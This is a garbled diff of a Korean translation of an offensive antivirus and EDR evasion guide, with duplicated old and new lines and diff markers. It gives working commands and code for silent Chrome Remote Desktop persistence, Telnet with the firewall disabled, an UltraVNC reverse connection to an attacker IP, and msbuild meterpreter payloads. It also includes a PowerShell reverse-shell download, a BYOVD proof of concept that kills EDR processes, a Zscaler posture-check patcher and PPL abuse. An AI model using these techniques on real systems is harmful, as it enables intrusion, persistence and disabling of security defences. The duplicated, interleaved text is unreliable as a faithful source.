새로운 희생 프로세스를 **스폰(spawn)** 하고, 그 새 프로세스에 post-exploitation 악성 코드를 인젝션한 뒤 실행하고 완료되면 새 프로세스를 종료하는 방법입니다. 이 방식은 장단점이 있습니다. 장점은 실행이 우리 Beacon implant 프로세스 **외부**에서 일어난다는 점입니다. 따라서 post-exploitation 동작 중 문제가 생기거나 탐지되더라도 우리 **implant가 살아남을 가능성**이 훨씬 큽니다. 단점은 **Behavioural Detections**에 의해 걸릴 가능성이 더 높다는 점입니다.
|
||||
이는 **새로운 희생 프로세스를 생성**하고 그 새 프로세스에 포스트 익스플로잇 악성 코드를 인젝션하여 실행한 뒤 완료되면 해당 프로세스를 종료하는 방식입니다. 장단점이 있습니다. fork and run 방식의 이점은 실행이 우리 Beacon 임플란트 프로세스의 **외부**에서 발생한다는 점입니다. 즉, 포스트 익스플로잇 작업 중 문제가 생기거나 탐지되더라도 우리 **임플란트가 살아남을** 가능성이 **훨씬 더 큽니다.** 단점은 Behavioural Detections에 의해 발각될 **가능성이 더 크다**는 것입니다.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
자신의 프로세스에 post-exploitation 악성 코드를 **인젝션** 하는 방식입니다. 이렇게 하면 새 프로세스를 생성하여 AV 스캔을 피할 필요가 없지만, 페이로드 실행 중 문제가 생기면 프로세스가 크래시할 수 있어 **beacon을 잃을 가능성**이 훨씬 큽니다.
|
||||
이는 포스트 익스플로잇 악성 코드를 **자신의 프로세스에** 인젝션하는 방식입니다. 이렇게 하면 새 프로세스를 생성하여 AV에 스캔되게 하는 것을 피할 수 있지만, 페이로드 실행 중 문제가 발생하면 프로세스가 크래시할 수 있어 **beacon을 잃을** **가능성이 훨씬 더 큽니다.**
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> C# Assembly 로딩에 대해 더 읽고 싶다면 이 글을 확인하세요: [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 및 그들의 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
> C# Assembly 로딩에 대해 더 읽고 싶다면 이 글 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)와 그들의 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))를 확인하세요.
|
||||
|
||||
PowerShell에서도 C# Assemblies를 로드할 수 있습니다. [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)와 [S3cur3th1sSh1t의 영상](https://www.youtube.com/watch?v=oe11Q-3Akuk)을 확인하세요.
|
||||
또한 C# 어셈블리를 **PowerShell에서** 로드할 수 있습니다. [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)와 [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk)를 확인해 보세요.
|
||||
|
||||
## Using Other Programming Languages
|
||||
|
||||
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)에서 제안된 것처럼, 공격자가 제어하는 SMB 공유에 설치된 인터프리터 환경에 침해된 머신이 접근할 수 있게 하면 다른 언어를 사용하여 악성 코드를 실행할 수 있습니다.
|
||||
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), 취약한 시스템이 **공격자가 제어하는 SMB 공유에 설치된 인터프리터 환경에 대한 접근**을 가지도록 하면 다른 언어를 사용해 악성 코드를 실행할 수 있습니다.
|
||||
|
||||
SMB 공유에서 Interpreter Binaries와 환경에 접근을 허용함으로써 침해된 머신의 메모리 내에서 해당 언어들로 **임의의 코드를 실행**할 수 있습니다.
|
||||
SMB 공유에서 인터프리터 바이너리와 환경에 대한 접근을 허용함으로써 취약한 머신의 메모리 내에서 이러한 언어들로 **임의의 코드를 실행할 수 있습니다.**
|
||||
|
||||
레포에는 다음과 같이 적혀 있습니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 이용하면 **정적 시그니처를 우회할 유연성**이 더 생깁니다. 난독화하지 않은 무작위 리버스 쉘 스크립트들로 테스트한 결과 성공을 거두었습니다.
|
||||
해당 리포는 다음과 같이 언급합니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 활용하면 **정적 시그니처를 우회할 유연성**이 더 생깁니다. 이러한 언어들로 작성된 랜덤한 난독화되지 않은 리버스 셸 스크립트로 테스트한 결과 성공을 거두었습니다.
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping은 공격자가 액세스 토큰이나 EDR/AV 같은 보안 제품의 토큰을 **조작(manipulate)** 하여 권한을 낮춤으로써 프로세스가 죽지 않으면서도 악성 활동을 확인할 권한을 잃게 만드는 기술입니다.
|
||||
Token stomping은 공격자가 **액세스 토큰이나 EDR 또는 AV 같은 보안 제품을 조작**할 수 있게 하는 기법으로, 프로세스가 종료되지 않도록 권한을 낮추되 악성 활동을 검사할 권한은 없게 만듭니다.
|
||||
|
||||
이를 방지하려면 Windows가 보안 프로세스의 토큰에 대해 외부 프로세스가 핸들을 얻는 것을 **차단**할 수 있어야 합니다.
|
||||
이를 방지하기 위해 Windows는 보안 프로세스의 토큰에 대해 **외부 프로세스가** 핸들을 얻는 것을 차단할 수 있습니다.
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
@ -441,76 +490,75 @@ Token stomping은 공격자가 액세스 토큰이나 EDR/AV 같은 보안 제
|
||||
|
||||
### Chrome Remote Desktop
|
||||
|
||||
[**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide)에 설명된 것처럼, 피해자 PC에 Chrome Remote Desktop을 배포하고 이를 통해 인수(takeover) 및 지속성(persistence)을 유지하는 것이 쉽습니다:
|
||||
1. https://remotedesktop.google.com/ 에서 다운로드하고 "Set up via SSH"를 클릭한 뒤 Windows용 MSI 파일을 다운로드하세요.
|
||||
2. 피해자에서 설치 프로그램을 조용히 실행합니다(관리자 권한 필요): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Chrome Remote Desktop 페이지로 돌아가서 다음을 클릭하세요. 마법사가 계속하려면 권한 부여를 요청할 것이며, 계속하려면 Authorize 버튼을 클릭하세요.
|
||||
4. 약간 조정한 매개변수로 제공된 명령을 실행하세요: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (GUI를 사용하지 않고 pin을 설정할 수 있게 해주는 pin 파라미터에 주의하세요).
|
||||
|
||||
이 블로그 포스트([**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide))에 설명된 바와 같이, 피해자 PC에 Chrome Remote Desktop을 배포한 뒤 이를 통해 탈취하고 지속성을 유지하는 것은 쉽습니다:
|
||||
1. https://remotedesktop.google.com/에서 다운로드하고, "Set up via SSH"를 클릭한 다음 Windows용 MSI 파일을 클릭하여 MSI 파일을 다운로드합니다.
|
||||
2. 피해자 시스템에서 설치 프로그램을 무음으로 실행합니다(관리자 권한 필요): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Chrome Remote Desktop 페이지로 돌아가서 Next를 클릭합니다. 마법사가 권한 부여를 요청하면 Authorize 버튼을 클릭하여 계속합니다.
|
||||
4. 일부 매개변수를 조정하여 다음 명령을 실행합니다: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (참고: --pin 매개변수는 GUI를 사용하지 않고 PIN을 설정할 수 있게 해줍니다.)
|
||||
|
||||
## Advanced Evasion
|
||||
|
||||
Evasion은 매우 복잡한 주제입니다. 하나의 시스템에서 여러 소스의 텔레메트리를 고려해야 할 때가 많아 성숙한 환경에서는 완전히 탐지되지 않는 상태를 유지하는 것은 사실상 불가능합니다.
|
||||
Evasion은 매우 복잡한 주제로, 하나의 시스템에서 여러 서로 다른 텔레메트리 소스를 고려해야 할 때가 많기 때문에 성숙한 환경에서 완전히 탐지를 피하는 것은 사실상 불가능합니다.
|
||||
|
||||
각 환경마다 강점과 약점이 다릅니다.
|
||||
대응하는 각 환경은 고유한 강점과 약점을 가지고 있습니다.
|
||||
|
||||
더 많은 Advanced Evasion 기술을 익히려면 [@ATTL4S](https://twitter.com/DaniLJ94)의 이 강연을 꼭 보시길 권합니다.
|
||||
더 고급 회피 기법에 대해 발판을 마련하려면 [@ATTL4S](https://twitter.com/DaniLJ94)의 이 강연을 꼭 보시길 권합니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
his is also another great talk from [@mariuszbit](https://twitter.com/mariuszbit) about Evasion in Depth.
|
||||
이것은 또한 Evasion in Depth에 관한 [@mariuszbit](https://twitter.com/mariuszbit)의 또 다른 훌륭한 강연입니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
{{#endref}}
|
||||
|
||||
## **Old Techniques**
|
||||
## **오래된 기법**
|
||||
|
||||
### **Check which parts Defender finds as malicious**
|
||||
### **Defender가 악성으로 판단하는 부분 확인하기**
|
||||
|
||||
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)를 사용하면 바이너리의 일부를 **제거**하면서 어떤 부분을 Defender가 악성으로 판단하는지 찾아서 분리해줍니다.\
|
||||
동일한 기능을 제공하는 또 다른 도구는 [**avred**](https://github.com/dobin/avred)이며, 웹 서비스를 통해 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) 에서 제공됩니다.
|
||||
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)를 사용하면 **바이너리의 일부를 제거**하여 **Defender가 어떤 부분을 악성으로 판단하는지** 찾아내어 해당 부분을 분리해 줍니다.\
|
||||
동일한 기능을 제공하는 또 다른 도구로는 [**avred**](https://github.com/dobin/avred)가 있으며 서비스는 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)에서 웹으로 제공됩니다.
|
||||
|
||||
### **Telnet Server**
|
||||
|
||||
Windows10 이전까지는 모든 Windows에 **Telnet server**를 관리자 권한으로 설치할 수 있었습니다:
|
||||
Windows10 이전에는 모든 Windows에 (관리자로) 설치할 수 있는 **Telnet server**가 포함되어 있었습니다. 설치하려면 다음을 실행하세요:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
시스템이 시작될 때 **시작**하도록 설정하고 지금 **실행**하세요:
|
||||
시스템 시작 시 **시작**되도록 만들고 지금 **실행**하세요:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
**telnet 포트 변경** (스텔스) 및 firewall 비활성화:
|
||||
**Change telnet port** (stealth) 및 firewall 비활성화:
|
||||
```
|
||||
tlntadmn config port=80
|
||||
netsh advfirewall set allprofiles state off
|
||||
```
|
||||
### UltraVNC
|
||||
|
||||
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (설치 프로그램(setup)이 아닌 bin 다운로드를 받으세요)
|
||||
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (bin downloads를 사용하세요, setup은 사용하지 마세요)
|
||||
|
||||
**호스트에서**: Execute _**winvnc.exe**_ and configure the server:
|
||||
**ON THE HOST**: Execute _**winvnc.exe**_ and configure the server:
|
||||
|
||||
- 옵션 _Disable TrayIcon_을 활성화하세요
|
||||
- _VNC Password_에 암호를 설정하세요
|
||||
- _View-Only Password_에 암호를 설정하세요
|
||||
- Enable the option _Disable TrayIcon_
|
||||
- Set a password in _VNC Password_
|
||||
- Set a password in _View-Only Password_
|
||||
|
||||
그런 다음, 바이너리 _**winvnc.exe**_와 **새로** 생성된 파일 _**UltraVNC.ini**_를 victim 내부로 옮기세요
|
||||
Then, move the binary _**winvnc.exe**_ and **newly** created file _**UltraVNC.ini**_ inside the **victim**
|
||||
|
||||
#### **Reverse connection**
|
||||
|
||||
The attacker should execute inside his host the binary `vncviewer.exe -listen 5900` so it will be prepared to catch a reverse VNC connection. Then, inside the victim: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
|
||||
**경고:** 은밀함을 유지하려면 다음을 하지 마세요
|
||||
**WARNING:** To maintain stealth you must not do a few things
|
||||
|
||||
- 이미 `winvnc`가 실행 중일 때 다시 시작하지 마세요. 그렇지 않으면 [popup](https://i.imgur.com/1SROTTl.png)이 발생합니다. 실행 여부는 `tasklist | findstr winvnc`로 확인하세요
|
||||
- 같은 디렉터리에 `UltraVNC.ini`가 없는 상태에서 `winvnc`를 시작하지 마세요. 그렇지 않으면 [the config window](https://i.imgur.com/rfMQWcf.png)가 열립니다
|
||||
- 도움말을 위해 `winvnc -h`를 실행하지 마세요. 그러면 [popup](https://i.imgur.com/oc18wcu.png)이 발생합니다
|
||||
- Don't start `winvnc` if it's already running or you'll trigger a [popup](https://i.imgur.com/1SROTTl.png). check if it's running with `tasklist | findstr winvnc`
|
||||
- Don't start `winvnc` without `UltraVNC.ini` in the same directory or it will cause [the config window](https://i.imgur.com/rfMQWcf.png) to open
|
||||
- Don't run `winvnc -h` for help or you'll trigger a [popup](https://i.imgur.com/oc18wcu.png)
|
||||
|
||||
### GreatSCT
|
||||
|
||||
@ -532,13 +580,13 @@ sel lport 4444
|
||||
generate #payload is the default name
|
||||
#This will generate a meterpreter xml and a rcc file for msfconsole
|
||||
```
|
||||
이제 `msfconsole -r file.rc`로 **start the lister**하고, 다음과 같이 **xml payload**를 **execute**하세요:
|
||||
이제 **리스너를 시작**하려면 `msfconsole -r file.rc`를 사용하고, 다음으로 **xml payload**를 **실행**합니다:
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
**현재 defender는 프로세스를 매우 빠르게 종료합니다.**
|
||||
**현재 Defender는 프로세스를 매우 빠르게 종료합니다.**
|
||||
|
||||
### 우리만의 reverse shell 컴파일
|
||||
### 자체 reverse shell 컴파일
|
||||
|
||||
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
@ -625,7 +673,7 @@ catch (Exception err) { }
|
||||
}
|
||||
}
|
||||
```
|
||||
### C# using 컴파일러
|
||||
### C# 컴파일러 사용
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
@ -645,7 +693,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
|
||||
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
|
||||
{{#endref}}
|
||||
|
||||
C# 난독화 도구 목록: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
C# obfuscators 목록: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
|
||||
### C++
|
||||
```
|
||||
@ -660,7 +708,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
||||
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### python을 사용한 인젝터 빌드 예제:
|
||||
### python을 사용한 build injectors 예제:
|
||||
|
||||
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
@ -693,23 +741,23 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – 커널 공간에서 AV/EDR 종료
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – 커널 공간에서 AV/EDR 무력화
|
||||
|
||||
Storm-2603는 **Antivirus Terminator**로 알려진 작은 콘솔 유틸리티를 이용해 ransomware를 배포하기 전에 엔드포인트 보호를 비활성화했습니다. 이 도구는 **자체적으로 취약하지만 *서명된* 드라이버**를 포함하고 있으며, 이를 악용해 Protected-Process-Light (PPL) AV 서비스조차 차단할 수 없는 특권 커널 작업을 수행합니다.
|
||||
Storm-2603는 랜섬웨어를 내려놓기 전에 엔드포인트 보호를 비활성화하기 위해 **Antivirus Terminator**라는 작은 콘솔 유틸리티를 활용했습니다. 이 도구는 **자체적으로 취약하지만 *서명된* 드라이버**를 포함하여 이를 악용해 Protected-Process-Light (PPL) AV 서비스조차 차단할 수 없는 특권 커널 작업을 수행합니다.
|
||||
|
||||
핵심 요점
|
||||
1. **Signed driver**: 디스크에 배달되는 파일은 `ServiceMouse.sys`이지만, 바이너리는 Antiy Labs의 “System In-Depth Analysis Toolkit”에 포함된 정식 서명된 드라이버 `AToolsKrnl64.sys`입니다. 드라이버가 유효한 Microsoft 서명을 가지고 있기 때문에 Driver-Signature-Enforcement (DSE)가 활성화된 상태에서도 로드됩니다.
|
||||
1. **서명된 드라이버**: 디스크에 배달된 파일은 `ServiceMouse.sys`지만, 실제 바이너리는 Antiy Labs의 “System In-Depth Analysis Toolkit”에 포함된 정당하게 서명된 드라이버 `AToolsKrnl64.sys`입니다. 드라이버가 유효한 Microsoft 서명을 가지고 있기 때문에 Driver-Signature-Enforcement (DSE)가 활성화된 상태에서도 로드됩니다.
|
||||
2. **서비스 설치**:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
sc start ServiceMouse
|
||||
```
|
||||
첫 번째 줄은 드라이버를 **kernel service**로 등록하고 두 번째 줄은 이를 시작하여 `\\.\ServiceMouse`가 user land에서 접근 가능하게 만듭니다.
|
||||
3. **IOCTLs exposed by the driver**
|
||||
첫 번째 줄은 드라이버를 **커널 서비스**로 등록하고 두 번째 줄은 이를 시작하여 `\\.\ServiceMouse`가 유저랜드에서 접근 가능하도록 만듭니다.
|
||||
3. **드라이버가 노출하는 IOCTL**
|
||||
| IOCTL code | Capability |
|
||||
|-----------:|-----------------------------------------|
|
||||
| `0x99000050` | PID로 임의의 프로세스를 종료 (Defender/EDR services 종료에 사용됨) |
|
||||
| `0x990000D0` | 디스크의 임의 파일 삭제 |
|
||||
| `0x99000050` | PID로 임의 프로세스를 종료 (Defender/EDR 서비스 종료에 사용) |
|
||||
| `0x990000D0` | 디스크에 있는 임의 파일 삭제 |
|
||||
| `0x990001D0` | 드라이버 언로드 및 서비스 제거 |
|
||||
|
||||
Minimal C proof-of-concept:
|
||||
@ -724,28 +772,28 @@ CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **Why it works**: BYOVD는 유저-모드 보호를 완전히 우회합니다; 커널에서 실행되는 코드는 *protected* 프로세스를 열거나 종료하거나 PPL/PP, ELAM 또는 기타 하드닝 기능에 관계없이 커널 객체를 변조할 수 있습니다.
|
||||
4. **작동 원리**: BYOVD는 유저모드 보호를 완전히 우회합니다; 커널에서 실행되는 코드는 *보호된* 프로세스를 열거나 종료하고 PPL/PP, ELAM 또는 기타 하드닝 기능에 상관없이 커널 객체를 조작할 수 있습니다.
|
||||
|
||||
탐지 / 완화
|
||||
• Microsoft의 vulnerable-driver 차단 목록(`HVCI`, `Smart App Control`)을 활성화하여 Windows가 `AToolsKrnl64.sys` 로드를 거부하도록 합니다.
|
||||
• 새로운 *kernel* 서비스 생성 모니터링 및 드라이버가 world-writable 디렉터리에서 로드되었거나 allow-list에 없는 경우 경고를 발생시킵니다.
|
||||
• 사용자 모드 핸들이 custom device 객체에 열리고 이어서 의심스러운 `DeviceIoControl` 호출이 발생하는지 감시합니다.
|
||||
Detection / Mitigation
|
||||
• Microsoft의 취약 드라이버 차단 목록(`HVCI`, `Smart App Control`)을 활성화하여 Windows가 `AToolsKrnl64.sys`를 로드하지 못하도록 합니다.
|
||||
• 새로운 *커널* 서비스 생성 모니터링을 수행하고 드라이버가 전 세계 쓰기 가능한 디렉터리에서 로드되거나 허용 목록에 없는 경우 경고를 발생시킵니다.
|
||||
• 사용자 모드에서 커스텀 디바이스 객체에 대한 핸들이 생성된 후 의심스러운 `DeviceIoControl` 호출이 발생하는지 감시합니다.
|
||||
|
||||
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
|
||||
|
||||
Zscaler의 **Client Connector**는 장치 posture 규칙을 로컬에서 적용하고 Windows RPC를 통해 결과를 다른 구성요소로 전달합니다. 두 가지 취약한 설계 선택으로 인해 완전한 우회가 가능합니다:
|
||||
Zscaler의 **Client Connector**는 장치 posture 규칙을 로컬에서 적용하고 결과를 다른 구성요소에 전달하기 위해 Windows RPC를 사용합니다. 두 가지 약한 설계 선택으로 인해 완전한 우회가 가능합니다:
|
||||
|
||||
1. Posture 평가가 **entirely client-side**에서 이루어집니다 (불리언 값이 서버로 전송됨).
|
||||
2. 내부 RPC 엔드포인트는 연결하는 실행파일이 **signed by Zscaler**인지(`WinVerifyTrust`를 통해)만 검증합니다.
|
||||
1. Posture 평가는 **전적으로 클라이언트 측에서** 이루어집니다(서버로는 boolean 값만 전송됨).
|
||||
2. 내부 RPC 엔드포인트는 연결하는 실행 파일이 **Zscaler에 의해 서명되었는지**(`WinVerifyTrust`를 통해)만 검증합니다.
|
||||
|
||||
디스크에 있는 서명된 바이너리 네 개를 **패치(patching)** 하면 두 메커니즘을 모두 무력화할 수 있습니다:
|
||||
디스크 상의 서명된 4개 바이너리를 패치함으로써 두 메커니즘을 모두 무력화할 수 있습니다:
|
||||
|
||||
| Binary | Original logic patched | Result |
|
||||
|--------|------------------------|---------|
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | 항상 `1`을 반환하여 모든 검사에서 준수로 처리됨 |
|
||||
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ 어떤 프로세스(심지어 unsigned)라도 RPC 파이프에 바인드 가능 |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret`로 대체됨 |
|
||||
| `ZSATunnel.exe` | Integrity checks on the tunnel | 단락 처리(short-circuited) |
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | 항상 `1`을 반환하도록 변경되어 모든 검사에서 compliant로 처리됨 |
|
||||
| `ZSAService.exe` | `WinVerifyTrust`에 대한 간접 호출 | NOP 처리 ⇒ 어떤 프로세스(심지어 서명되지 않은 것)도 RPC 파이프에 바인딩 가능 |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret`로 대체 |
|
||||
| `ZSATunnel.exe` | 터널에 대한 무결성 검사 | 단락 처리되어 우회됨 |
|
||||
|
||||
Minimal patcher excerpt:
|
||||
```python
|
||||
@ -761,22 +809,22 @@ else:
|
||||
f.seek(off)
|
||||
f.write(replacement)
|
||||
```
|
||||
원본 파일을 교체하고 서비스 스택을 재시작한 후:
|
||||
원본 파일들을 교체하고 서비스 스택을 재시작한 후:
|
||||
|
||||
* **모든** posture checks가 **green/compliant**로 표시됩니다.
|
||||
* 서명되지 않았거나 수정된 바이너리가 named-pipe RPC endpoints를 열 수 있습니다 (예: `\\RPC Control\\ZSATrayManager_talk_to_me`).
|
||||
* 감염된 호스트는 Zscaler 정책에 의해 정의된 내부 네트워크에 대한 무제한 접근 권한을 얻습니다.
|
||||
* **모든** posture 검사들이 **green/compliant** 상태로 표시됩니다.
|
||||
* 서명되지 않았거나 수정된 바이너리가 named-pipe RPC 엔드포인트를 열 수 있습니다(예: `\\RPC Control\\ZSATrayManager_talk_to_me`).
|
||||
* 침해된 호스트는 Zscaler 정책에 정의된 내부 네트워크에 무제한으로 접근합니다.
|
||||
|
||||
이 사례는 순수히 클라이언트 측 신뢰 결정과 단순한 signature checks가 몇 바이트 패치로 어떻게 무력화될 수 있는지를 보여줍니다.
|
||||
이 사례 연구는 순수히 클라이언트 측 신뢰 판단과 단순한 서명 검사들이 몇 바이트 패치만으로 어떻게 무력화될 수 있는지를 보여줍니다.
|
||||
|
||||
## Protected Process Light (PPL)을 악용해 LOLBINs로 AV/EDR을 변조하기
|
||||
## Protected Process Light (PPL)을 악용해 LOLBINs로 AV/EDR를 변조하기
|
||||
|
||||
Protected Process Light (PPL)은 서명자/레벨 계층을 강제하여 동급 또는 상위 권한의 보호 프로세스만 서로를 변조할 수 있게 합니다. 공격적으로 보면, 합법적으로 PPL-enabled 바이너리를 실행하고 그 인수를 제어할 수 있다면, 정상적인 기능(예: logging)을 AV/EDR에서 사용하는 보호된 디렉터리에 대한 제약된, PPL 기반의 write primitive로 전환할 수 있습니다.
|
||||
Protected Process Light (PPL)는 서명자/레벨 계층을 강제하여 동일하거나 더 높은 수준의 protected 프로세스만 서로 변조할 수 있도록 합니다. 공격적으로, 합법적으로 PPL 지원 바이너리를 실행하고 그 인자를 제어할 수 있다면, 정상적인 기능(예: 로깅)을 AV/EDR에서 사용하는 보호된 디렉터리에 대한 제약된, PPL 기반의 write primitive로 바꿀 수 있습니다.
|
||||
|
||||
What makes a process run as PPL
|
||||
- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
|
||||
- The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
|
||||
- A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation.
|
||||
프로세스가 PPL로 실행되게 하는 요소
|
||||
- 대상 EXE(및 로드된 DLL)는 PPL 지원 EKU로 서명되어야 합니다.
|
||||
- 프로세스는 CreateProcess로 생성되어야 하며 플래그로 `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`를 사용해야 합니다.
|
||||
- 바이너리의 서명자와 일치하는 호환 가능한 protection level을 요청해야 합니다(예: 안티멀웨어 서명자에는 `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, Windows 서명자에는 `PROTECTION_LEVEL_WINDOWS`). 잘못된 레벨은 생성 시 실패합니다.
|
||||
|
||||
See also a broader intro to PP/PPL and LSASS protection here:
|
||||
|
||||
@ -787,7 +835,7 @@ stealing-credentials/credentials-protections.md
|
||||
Launcher tooling
|
||||
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
|
||||
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- 사용 예시:
|
||||
- Usage pattern:
|
||||
```text
|
||||
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
|
||||
# example: spawn a Windows-signed component at PPL level 1 (Windows)
|
||||
@ -796,50 +844,50 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
|
||||
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
|
||||
```
|
||||
LOLBIN 프리미티브: ClipUp.exe
|
||||
- The signed system binary `C:\Windows\System32\ClipUp.exe` self-spawns and accepts a parameter to write a log file to a caller-specified path.
|
||||
- When launched as a PPL process, the file write occurs with PPL backing.
|
||||
- ClipUp cannot parse paths containing spaces; use 8.3 short paths to point into normally protected locations.
|
||||
- 서명된 시스템 바이너리 `C:\Windows\System32\ClipUp.exe`는 자체 실행되며 호출자가 지정한 경로에 로그 파일을 쓰는 매개변수를 허용합니다.
|
||||
- PPL 프로세스로 실행되면 파일 쓰기는 PPL로 보호된 권한으로 수행됩니다.
|
||||
- ClipUp은 공백이 포함된 경로를 파싱할 수 없습니다; 일반적으로 보호된 위치를 가리킬 때 8.3 단축 경로를 사용하세요.
|
||||
|
||||
8.3 단축 경로 도움말
|
||||
- List short names: `dir /x` in each parent directory.
|
||||
- Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||
- 단축 이름 나열: 각 상위 디렉터리에서 `dir /x`
|
||||
- cmd에서 단축 경로 도출: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||
|
||||
악용 체인 (개요)
|
||||
